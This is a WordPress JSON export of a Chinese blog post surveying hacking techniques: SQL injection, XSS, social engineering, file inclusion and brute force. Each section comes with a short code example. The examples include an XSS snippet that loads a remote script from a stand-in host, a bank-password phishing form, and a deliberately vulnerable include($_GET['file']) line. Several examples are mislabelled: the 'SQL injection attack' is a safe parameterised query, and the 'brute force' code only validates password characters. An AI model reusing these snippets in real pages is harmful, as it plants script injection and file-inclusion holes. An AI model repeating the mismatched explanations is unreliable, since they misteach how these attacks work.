{"id":6869,"date":"2023-10-24T19:43:05","date_gmt":"2023-10-24T11:43:05","guid":{"rendered":"http:\/\/www.aiersheng.cc\/?p=6869"},"modified":"2023-10-29T18:48:07","modified_gmt":"2023-10-29T10:48:07","slug":"%e9%bb%91%e5%ae%a2%e6%94%bb%e9%98%b2%e6%8a%80%e6%9c%af%e5%ae%9d%e5%85%b8","status":"publish","type":"post","link":"https:\/\/www.aiersheng.cc\/?p=6869","title":{"rendered":"\u9ed1\u5ba2\u653b\u9632\u6280\u672f\u5b9d\u5178"},"content":{"rendered":"

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\u4e8c\u3001SQL\u6ce8\u5165\u653b\u51fb<\/h3>\n

SQL\u6ce8\u5165\u653b\u51fb\u662f\u4e0d\u6cd5\u5206\u5b50\u901a\u8fc7\u5728\u8f93\u5165\u8868\u5355\u4e2d\u6ce8\u5165SQL\u4ee3\u7801\uff0c\u4ece\u800c\u8fbe\u5230\u67e5\u8be2\u3001\u4fee\u6539\u3001\u5220\u9664\u6570\u636e\u5e93\u4fe1\u606f\u7684\u76ee\u7684\u3002\u5bf9\u4e8e\u8fd9\u79cd\u653b\u51fb\u624b\u6bb5\uff0c\u5f00\u53d1\u4eba\u5458\u9700\u8981\u91c7\u53d6\u9884\u9632\u63aa\u65bd\uff0c\u6bd4\u5982\u9488\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u5408\u6cd5\u6027\u6821\u9a8c\u3001\u4f7f\u7528ORM\u7b49\u5de5\u5177\u7b49\u6765\u907f\u514d\u6b64\u7c7b\u653b\u51fb\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2aSQL\u6ce8\u5165\u653b\u51fb\u7684\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n

$stmt = $pdo->prepare("SELECT * FROM users WHERE name = :name");\r\n$stmt->execute(array(":name"=>$name));\r\n$user = $stmt->fetch(PDO::FETCH_ASSOC);<\/pre>\n\u4e09\u3001\u8de8\u7ad9\u70b9\u811a\u672c\u653b\u51fb<\/h3>\n\u8de8\u7ad9\u70b9\u811a\u672c\u653b\u51fb\uff08Cross-site scripting\uff0c\u7b80\u79f0 XSS\uff09\u662f\u4e00\u79cd\u6839\u636e Web \u5b89\u5168\u6f0f\u6d1e\u8fdb\u884c\u7684\u653b\u51fb\uff0c\u5728\u8fd9\u79cd\u653b\u51fb\u4e2d\uff0c\u653b\u51fb\u8005\u5b9e\u65bd\u7be1\u6539\u7528\u6237\u770b\u5230\u7684 Web \u9875\u9762\u5185\u5bb9\uff0c\u4ece\u800c\u5728\u7528\u6237\u7684\u6d4f\u89c8\u5668\u4e2d\u6ce8\u5165\u6076\u610f\u811a\u672c\u3002\u901a\u8fc7\u6076\u610f\u811a\u672c\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u7a83\u53d6\u7528\u6237\u7684\u654f\u611f\u4fe1\u606f\uff08\u4f8b\u5982\u767b\u9646\u5bc6\u7801\u3001cookie\u4fe1\u606f\uff09\uff0c\u6216\u8005\u6b3a\u9a97\u7528\u6237\u6267\u884c\u67d0\u4e9b\u975e\u9884\u671f\u7684\u64cd\u4f5c\uff08\u4f8b\u5982\uff0c\u8f6c\u8d26\u3001\u8ba2\u9605\u670d\u52a1\u7b49\uff09\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u8de8\u7ad9\u70b9\u811a\u672c\u653b\u51fb\u7684\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n
<script>\r\nvar theft = "http:\/\/www.example.com\/bad.js";\r\nvar po2 = document.createElement("script");\r\npo2.src=theft;\r\ndocument.head.appendChild(po2);\r\n<\/script><\/pre>\n\u56db\u3001\u793e\u4ea4\u5de5\u7a0b\u653b\u51fb<\/h3>\n\u793e\u4ea4\u5de5\u7a0b\u653b\u51fb\uff08Social Engineering\uff09\u662f\u6307\u4ee5\u6b3a\u9a97\u3001\u8bf1\u9a97\u3001\u751a\u81f3\u903c\u8feb\u7b49\u624b\u6bb5\uff0c\u9488\u5bf9\u793e\u4ea4\u6d3b\u52a8\u4e2d\u7684\u4e2a\u4eba\u6216\u4f01\u4e1a\u4eba\u5458\u8fdb\u884c\u4fe1\u606f\u7a83\u53d6\u3001\u7cfb\u7edf\u5165\u4fb5\u6216\u5176\u4ed6\u4e0d\u5f53\u884c\u4e3a\u7684\u4e00\u79cd\u653b\u51fb\u65b9\u5f0f\u3002\u5e38\u89c1\u7684\u793e\u4ea4\u5de5\u7a0b\u653b\u51fb\u624b\u6bb5\u5305\u62ec\uff1a\u77ed\u4fe1\u8bc8\u9a97\u3001\u7535\u5b50\u90ae\u4ef6\u8bc8\u9a97\u3001\u7535\u8bdd\u8bc8\u9a97\u7b49\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u793e\u4ea4\u5de5\u7a0b\u653b\u51fb\u7684\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n
<label>\u4f60\u7684\u94f6\u884c\u5361\u5bc6\u7801\u662f\uff1f<\/label>\r\n<input type="password" name="password">\r\n<input type="submit" value="\u63d0\u4ea4"><\/pre>\n\u4e94\u3001\u6f0f\u6d1e\u653b\u51fb<\/h3>\n\u9ed1\u5ba2\u653b\u51fb\u7684\u53e6\u4e00\u79cd\u5e38\u89c1\u624b\u6bb5\u662f\u6f0f\u6d1e\u653b\u51fb\u3002\u6f0f\u6d1e\u662f\u6307\u7a0b\u5e8f\u8bbe\u8ba1\u6216\u5b9e\u73b0\u4e2d\u7684\u9519\u8bef\u6216\u758f\u6f0f\uff0c\u4f7f\u653b\u51fb\u8005\u80fd\u591f\u5728\u672a\u7ecf\u6388\u6743\u7684\u60c5\u51b5\u4e0b\u83b7\u5f97\u7cfb\u7edf\u7684\u63a7\u5236\u6743\u3002\u5e38\u89c1\u7684\u6f0f\u6d1e\u653b\u51fb\u5305\u62ec\uff1a\u7f13\u51b2\u533a\u6ea2\u51fa\u3001\u4ee3\u7801\u6ce8\u5165\u3001\u6587\u4ef6\u5305\u542b\u7b49\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u653b\u51fb\u7684\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n
include($_GET['file']);<\/pre>\n\u516d\u3001\u66b4\u529b\u7834\u89e3<\/h3>\n\u66b4\u529b\u7834\u89e3\u662f\u4e00\u79cd\u57fa\u4e8e\u7a77\u4e3e\u5bc6\u7801\u7684\u653b\u51fb\u65b9\u5f0f\uff0c\u901a\u8fc7\u5bf9\u67d0\u4e00\u8d26\u53f7\u7684\u5bc6\u7801\u8fdb\u884c\u591a\u6b21\u7684\u4e0d\u540c\u7684\u5c1d\u8bd5\uff0c\u76f4\u5230\u627e\u5230\u6b63\u786e\u7684\u5bc6\u7801\u3002\u5bf9\u4e8e\u8fd9\u79cd\u653b\u51fb\u624b\u6bb5\uff0c\u4e00\u822c\u9700\u8981\u91c7\u53d6\u4e00\u4e9b\u9884\u9632\u63aa\u65bd\uff0c\u6bd4\u5982\u5bc6\u7801\u52a0\u5bc6\u3001\u8bbe\u7f6e\u5bc6\u7801\u590d\u6742\u5ea6\u7b49\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u66b4\u529b\u7834\u89e3\u7684\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n
for ($i=0;$i<strlen($password);$i++){\r\n    $char = substr($password,$i,1);\r\n    $str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_-=+;:,.?";\r\n    if (strpos($str,$char)===false){\r\n        return false;\r\n    }\r\n}\r\nfor ($i=0;$i<strlen($password);$i++){\r\n    $char = substr($password,$i,1);\r\n    $arr = array('a','b','c','d','e','f','g','h','i','j','k','l','m',\r\n                 'n','o','p','q','r','s','t','u','v','w','x','y','z',\r\n                 'A','B','C','D','E','F','G','H','I','J','K','L','M',\r\n                 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\r\n                 '0','1','2','3','4','5','6','7','8','9','!','@','#',\r\n                 '$','%','^','&','*','(',')','_','=','+',';','\/',':',\r\n                 '?','.','>','<','[',']','{','}');\r\n    if (!in_array($char,$arr)){\r\n        return false;\r\n    }\r\n}<\/pre>\n<\/p>\n","protected":false},"excerpt":{"rendered":"
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